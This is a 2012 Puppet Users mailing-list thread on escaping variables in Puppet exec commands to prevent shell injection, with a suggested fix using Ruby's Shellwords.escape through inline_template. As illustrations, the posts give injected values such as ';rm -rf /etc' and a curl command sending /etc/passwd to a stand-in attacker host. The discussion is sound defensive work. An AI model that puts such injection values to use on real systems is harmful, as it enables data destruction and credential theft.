Peter Valdemar Mørch
2012-Feb-14 15:10 UTC
[Puppet Users] How to escape exec command parameters?
If I have a "simple" variable value, this works fine: capmon@peter:~> puppet -e ''$v="xyz" exec { f: command => "/bin/echo v is $v", logoutput => true }'' notice: /Stage[main]//Exec[f]/returns: v is xyz notice: /Stage[main]//Exec[f]/returns: executed successfully But how do I escape "bad" values of $v? Painful examples like the following spring to mind: $v = ";rm -rf /etc" or $v=";curl -d @/etc/passwd http://hackers-r-us.dk" ? I''d like to ensure that $v above will be seen as exactly one parameter for the command, regardless of the value of $v. I''ve also tried capmon@peter:~> puppet -e ''$v=";asdf" exec { f: command => ["/bin/echo", "v is", $v], logoutput => true }'' private method `split'' called for ["/bin/echo", "v is", ";asdf"]:Array But that didn''t work (and wouldn''t swing with my previous post about getting STDERR either, because that relies on the the shell.) Peter -- You received this message because you are subscribed to the Google Groups "Puppet Users" group. To post to this group, send email to puppet-users@googlegroups.com. To unsubscribe from this group, send email to puppet-users+unsubscribe@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-users?hl=en.
jcbollinger
2012-Feb-15 14:16 UTC
[Puppet Users] Re: How to escape exec command parameters?
On Feb 14, 9:10 am, Peter Valdemar Mørch <pmo...@gmail.com> wrote:> If I have a "simple" variable value, this works fine: > > capmon@peter:~> puppet -e ''$v="xyz" exec { f: command => "/bin/echo v > is $v", logoutput => true }'' > notice: /Stage[main]//Exec[f]/returns: v is xyz > notice: /Stage[main]//Exec[f]/returns: executed successfully > > But how do I escape "bad" values of $v? Painful examples like the > following spring to mind: $v = ";rm -rf /etc" or $v=";curl -d > @/etc/passwdhttp://hackers-r-us.dk" ? > > I''d like to ensure that $v above will be seen as exactly one parameter > for the command, regardless of the value of $v.It seems like this should do the trick: puppet -e ''$v="xyz" exec { f: command => "/bin/echo v is \''$v\''", logoutput => true }'' Note the single quotes around the interpolation of $v, which are the key. Because you put the whole manifest into a single-quoted shell string, the inner single quotes need to be escaped from the shell (as above); this would not be necessary if the manifest were read from a file. John -- You received this message because you are subscribed to the Google Groups "Puppet Users" group. To post to this group, send email to puppet-users@googlegroups.com. To unsubscribe from this group, send email to puppet-users+unsubscribe@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-users?hl=en.
Peter Valdemar Mørch
2012-Feb-15 15:14 UTC
[Puppet Users] Re: How to escape exec command parameters?
Thanks, John, for your reply also on this matter! On Feb 15, 3:16 pm, jcbollinger <John.Bollin...@stJude.org> wrote:> It seems like this should do the trick: > puppet -e ''$v="xyz" exec { f: command => "/bin/echo v is \''$v\''", > logoutput => true }'':-) Yeah, that would take care of these particular instances. Now imagine this (in a proper manifest file, so we take shell escaping out of the picture): # This is identical to your proposal, right? : exec { f: command => "/bin/echo v is ''$v''", logoutput => true } Now, how about: # double-quote, single-quote, double-quote: This causes an error $v = "''" or # This causes an error too $v = "x''y''z\n@$\"{" or # This does _bad_ stuff $v = "'';rm -rf /etc"; My point is, that unless there is some support in puppet for escaping $v, there is *no* way to use $v reliably in an exec command string, given an arbitrary $v. For any quoting suggestion you come up with, I would always be able to come up with a counter-example of $v so that / etc/passwd gets sent to hackers-r-us.dk. Unless puppet supports escaping somehow. Which it looks like it doesn''t. Which means, that I have to check all facts and input to puppet outside of puppet, or my custom facts have to be sanitised or pre-escaped before puppet sees them, which is a shame! :-( I''m surprised I can''t find an equivalent of Perl''s quotemeta or Ruby''s Shellwords.escape. Invaluable for _safe_ shell stuff... Peter -- You received this message because you are subscribed to the Google Groups "Puppet Users" group. To post to this group, send email to puppet-users@googlegroups.com. To unsubscribe from this group, send email to puppet-users+unsubscribe@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-users?hl=en.
jcbollinger
2012-Feb-15 17:49 UTC
[Puppet Users] Re: How to escape exec command parameters?
On Feb 15, 9:14 am, Peter Valdemar Mørch <pmo...@gmail.com> wrote:> Thanks, John, for your reply also on this matter! > > On Feb 15, 3:16 pm, jcbollinger <John.Bollin...@stJude.org> wrote: > > > It seems like this should do the trick: > > puppet -e ''$v="xyz" exec { f: command => "/bin/echo v is \''$v\''", > > logoutput => true }'' > > :-) Yeah, that would take care of these particular instances. > > Now imagine this (in a proper manifest file, so we take shell escaping > out of the picture): > > # This is identical to your proposal, right? : > exec { f: > command => "/bin/echo v is ''$v''", > logoutput => true > > } > > Now, how about: > # double-quote, single-quote, double-quote: This causes an error > $v = "''" > > or > > # This causes an error too > $v = "x''y''z\n@$\"{" > > or > > # This does _bad_ stuff > $v = "'';rm -rf /etc"; > > My point is, that unless there is some support in puppet for escaping > $v, there is *no* way to use $v reliably in an exec command string, > given an arbitrary $v. For any quoting suggestion you come up with, I > would always be able to come up with a counter-example of $v so that / > etc/passwd gets sent to hackers-r-us.dk.Fair enough. You are correct.> Unless puppet supports escaping somehow. Which it looks like it > doesn''t. Which means, that I have to check all facts and input to > puppet outside of puppet, or my custom facts have to be sanitised or > pre-escaped before puppet sees them, which is a shame! :-(You are welcome to write such a function, of course, either for private use or to contribute to the project. Given that Ruby already has support for what you want, it should be dead simple to wrap it into a Puppet function.> I''m surprised I can''t find an equivalent of Perl''s quotemeta or Ruby''s > Shellwords.escape. Invaluable for _safe_ shell stuff...Pretty much anything you can do with Ruby you can do in Puppet via templates. Some such things would be pretty nasty hacks, but not so much something like this: $v = $::some_unsafe_value $v_safe = inline_template("<% require ''shellwords'' %><%shellwords.escape(v) %>") Overall, however, I suspect that you are probing a rather uncommon use case. It is rare that one would want to use a fact value to construct an Exec command, especially given that Execs serve as a last resort anyway. Even if we stipulate that an Exec will be used to perform some otherwise-unsupported task, it is a symptom of questionable manifest design if the the command needs to rely on node facts. Above all, if an adversary has managed to subvert the Puppet agent on some node, so as to be able to control the fact values submitted to the Puppetmaster, then the battle is already lost. Rather than craft troublesome fact values, such an adversary could more easily just directly make the agent do whatever dirty deed he wanted. John -- You received this message because you are subscribed to the Google Groups "Puppet Users" group. To post to this group, send email to puppet-users@googlegroups.com. To unsubscribe from this group, send email to puppet-users+unsubscribe@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-users?hl=en.
Peter Valdemar Mørch
2012-Feb-16 07:25 UTC
Re: [Puppet Users] Re: How to escape exec command parameters?
On Wed, Feb 15, 2012 at 6:49 PM, jcbollinger <John.Bollinger@stjude.org> wrote:> $v = $::some_unsafe_value > $v_safe = inline_template("<% require ''shellwords'' %><%> shellwords.escape(v) %>")Cool. It *is* possible. Didn''t think to consider using a template...> Overall, however, I suspect that you are probing a rather uncommon use > case.Perhaps. My claim is though, that if exec is provided, so should escaping. Safe use of exec should at least be possible, and in my opinion actively promoted as a best practice. Especially since puppet typically has root access on production servers. But thanks. Now I know it *is* possible. In the words of Larry Wall: "Easy things should be easy, and hard things should be possible." Peter -- You received this message because you are subscribed to the Google Groups "Puppet Users" group. To post to this group, send email to puppet-users@googlegroups.com. To unsubscribe from this group, send email to puppet-users+unsubscribe@googlegroups.com. For more options, visit this group at http://groups.google.com/group/puppet-users?hl=en.